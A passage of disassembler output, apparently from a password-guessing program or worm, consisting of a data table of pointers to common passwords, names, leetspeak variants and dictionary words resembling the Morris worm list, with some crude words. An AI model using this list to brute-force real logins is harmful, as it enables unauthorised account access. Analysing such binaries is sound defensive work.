dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_0 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning_0 ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_1 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset off_42D9FC dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset off_42D8D4 dd offset aAlbatross ; "albatross" dd offset off_42D8C4 dd offset off_42D8C0 dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset off_42D8A0 dd offset aAnthropogenic ; "anthropogenic" dd offset off_42D88C dd offset off_42D888 dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset off_42D860 dd offset off_42D85C dd offset off_42D858 dd offset aCampanile ; "campanile" dd offset off_42D848 dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset off_42D7FC dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset off_42D7E0 dd offset off_42D7DC dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset off_42D778 dd offset off_42D774 dd offset off_42D770 dd offset aHappening ; "happening" dd offset off_42D760 dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset off_42D744 dd offset dword_42D740 dd offset dword_42D73C dd offset off_42D738 dd offset aLamination ; "lamination" dd offset off_42D728 dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset off_42D714 dd offset off_42D710 dd offset off_42D70C dd offset off_42D708 dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset off_42D6E8 dd offset off_42D6E4 dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset off_42D698 dd offset aRachmaninoff ; "rachmaninoff" dd offset off_42D684 dd offset aRochester ; "rochester" dd offset off_42D674 dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset off_42D634 dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset off_42D60C dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset off_42D59C dd offset aZimmerman ; 